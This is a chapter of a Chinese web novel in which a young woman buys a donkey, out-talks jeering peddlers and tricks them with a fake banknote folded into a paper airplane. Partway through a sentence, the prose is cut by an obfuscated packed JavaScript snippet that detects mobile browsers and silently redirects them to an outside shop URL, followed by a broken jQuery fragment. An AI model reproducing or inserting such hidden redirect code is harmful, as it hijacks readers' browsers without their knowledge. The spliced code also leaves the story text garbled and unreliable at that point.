“我给你五两银子,四两算是按照正常的市场价买这头大驴,剩下一两你每日割足够的草料送到我家,喂养它,割草的差事以一年为期,你看可以吗?”
小伙子愣住了,呆呆望着姜昀手里头价值五两的银子,半晌才问:“真,真的吗?小娘子,你莫不是说笑的吧?”
“真的。”温氏浅笑:“我家昀娘从来都是说话算话。”
姜昀将银子往前递了递,小伙子嘴唇发颤,张开手掌使劲往衣服上抹了两把,才向前伸手,准备接过。
双手伸出去一半,看着姜昀白嫩的手,他觉得自己手还是不够干净,着急忙慌地放水桶里使劲洗了洗,再在衣服上擦干,才躬身伸手接过那块沉甸甸、白花花的银子。
“等等!小娘子!他这头驴不好!”
刚刚还在嗑瓜子的那名小贩迅速冲上来,在小伙子触及银子的前一刻把他推开,不管不顾地扒开母驴的嘴,指着它的牙齿对姜昀道:“小娘子,他骗你呢!你看这牙口,这头驴少说十来个年头了!你买回去,用不了几年就废了!”
小伙子爬起来,上前护住自己的驴:“你胡说,它明明才五岁!小娘子,我没有撒谎,它半岁的时候我将它买回来,养了四年多,实际上它都还不满整五岁呢!”
“我作证,这样牙口,又黑又黄的,起码十岁了!”另一名小贩疾步过来,“小娘子,别买他的驴,不如看看我的驴吧?”
“就是,看看咱们的驴吧,说是几岁就是几岁,保证童叟无欺!”
“我的驴才三岁,还能管用很多年哩!而且,还是头公的,比母的身强体壮,耐力也更好,小娘子,你买我的驴吧!”
方才懒得搭理她们母女的小贩们全都冲上来,将她们团团围住,七嘴八舌地推销自己的驴,唾沫横飞不说,他们身上不知道多久没洗澡的馊味更是呛了姜昀一脸。
“不!不是这样的,小娘子,我真的没有骗你!你不要相信他们!”
论口齿伶俐,小伙子哪里是这些“老油条”的对手,只能抱着自己的驴,涨红了脸解释,祈祷着姜昀能够相信自己。
“不需要,我就要买他的驴。”姜昀把银块交到了小伙子手中,小声地报出了自己的家门地址,嘱咐道:“尽量每天送新鲜的草料过来。照顾你母亲来不及的话,可以提前跟我请假。”
小伙子惊喜交加,捧着银子一叠声道:“好的,好的,多谢小娘子,我一定不辜负您的信任!”
小贩们见这单子生意落不到自己手里,面色都变得不好看。
“妇道人家就是头发长见识短,不好好在家相夫教子,就会拿着男人赚来的钱乱花!”
“败家娘们!”
姜昀不怒反笑:“哟!你们倒是见识长,怎么不见你们出将入相光宗耀祖啊?怎么还要眼巴巴盯着女子手里的银子呢?没捞到我的银子就要满嘴喷粪,怪不得此处如此脏臭,原来都是你们闹出来的!”
“谁说的!我们才不稀罕女人家的那点银子!”
“你嚣张什么?你敢说你手里的银子是你自己赚的?无非就是家里有个能赚钱的男人养着你们罢了!”
夏虫不可语冰,姜昀也不反驳:“对对对,你说的都对,我家里头老爹和夫君日进斗金呢!怎么着?嫉妒啊?可惜你长太丑了,便是倒贴,也没有哪个男人要你!”
温氏没想到姜昀竟然这么说瞎话,惊到说不出话来。
其中一名小贩气急了:“你放屁!穿这么一身棉布衣服,装有钱人家的千金,你糊弄鬼呢!”
姜昀依然是神态平和,浅笑着说道:“嗯嗯,你麻布短打,一身汗臭累下来的馊味,你倒是不糊弄人。”
做牲口买卖的,往往一边嫌弃牲口脏臭,一边又不肯多花些心力给它们收拾干净,连带着自己身上也沾染了臭味。再加上古代烧水洗衣都费事,贩夫走卒十天半个月不洗澡也是常有的。
从算数上来说一加一等于二,但是,有时候两件事情加一块会出现大于二的效果,就像现在这样。
小贩们自知世人看不上他们又脏又臭,姜昀这一句话直接捅到了他们心窝子上。
其中一人气红了眼,指着姜昀破口大骂:“你个牙尖嘴利的小娘皮!我们再脏再臭,也是靠着自己的双手双脚赚钱,不像你们这些个贱人,就掌心向上,朝着男人要钱!”
“哦,那你有本事就不要手心向上,来找女人要钱。啧啧啧,刚刚也不知道是谁,看见我掏出银子,就跟个恶狗似的扑上来,朝着我这个小娘皮说‘看看我的驴吧~’,是你?是你?还是——你?”
姜昀的手指一个个点过去,小贩们不约而同地往后退。
“你,你别得意!靠山山会倒,靠人人会跑!你今日可劲儿嚣张,来日总有你哭的一天!”
“嗯嗯,三十年河东三十年河西,莫欺少年穷,我懂,我懂。”
小贩终于听到一句顺耳的话,有些得意道:“哼哼,你知道就好!”
“我当然知道,牛逼的人老早就开始牛逼了,但是不争气的玩意儿总是会把莫欺少年穷一类的话挂在嘴边上,年轻的时候说莫欺少年穷,年纪大了说莫欺中年穷,再后面就说莫欺老年穷,到死了往土里一埋,还要立个‘此地无银三百两’的碑,骗的盗墓贼乘兴而来败兴而归。”
姜昀语速很快,一下子蹦出来百来个字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707719|201983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,听得小贩们大脑宕机,好一会儿才反应过来她是在骂他们到死都没出息。
此时,姜昀已经牵起小毛驴,准备和温氏离开了。
小贩们气呼呼地拦在她们面前,小伙子则拦在她们面前:“你们先走,我拦住他们。”
“今天你们谁也别想走!”
姜昀微微一笑,从袖子里拿出一张看着像是银票的纸,放在自己和毛驴中间迅速翻折几下,变成了纸飞机,“这是一百两的银票,谁拿到就是谁的。”
话音未落,姜昀扬手就纸飞机送了出去。
纸飞机在空中画出漂亮的弧线,落在了屋顶上。
嗑瓜子的那名小贩半信半疑:“我们怎么知道你说的是真的!”
“我家住赵家弄乙巳屋裴宅,若是骗你们的话,你们大可以上我家门去找我算账!”
温氏大惊:“昀娘!”
报家门就算了,怎么还报人小裴的家门呢?
真是缺了大德了!
小贩们面面相觑,一人带头往纸飞机的方向跑,其他人立马奔上去,几个人一边跑一边拖拽其他人,遍地都是屎尿的地方,随便踩一脚都能沾上秽物,更不要说打滚了,那简直就是屎上加屎,臭上加臭。
好不容易有人拖着满身屎尿攀上墙,立马被拉下来,人家把他当成垫脚石踩着,自己继续往上爬,“垫脚石”反应过来,立马把上头的人掀翻……
这场面,给温氏和小伙子都呆了。
“别愣着了,快跑!”姜昀小声提醒小伙子,自己则拉着温氏和大毛驴赶紧离开。
小伙子愣愣点头,连忙牵起自己的小毛驴,朝着另一个方向离开。
“昀娘,你哪来的银票啊?那是唬人的吧?”
跑出一段路,看后面没有人追上来,温氏才喘着气问姜昀。
“当然是唬人的啊。”
一来她们家全部身价加起来都兑不出一百两的银票,二来,有钱她也不会这么挥霍啊。
“那是?”
-
干倒了其他所有人之后,嗑瓜子的那名小贩伤痕累累,拼尽吃奶的力气终于爬上屋顶,怀着激动无比的心情,颤巍巍地取出纸飞机,缓缓展开。
一百两!
这可是一百两啊!
有了一百两,他就可以过人上人的日子了!
锦衣华服,香车宝马,任谁见了都得管他叫一声员外老爷!
看谁还敢再瞧不起他!
然而,纸张展开,上面的字却是:青菜五斤,五花肉一斤,土豆十斤……
这是姜昀的采购清单。
“天杀的小贱人!老子弄死你!”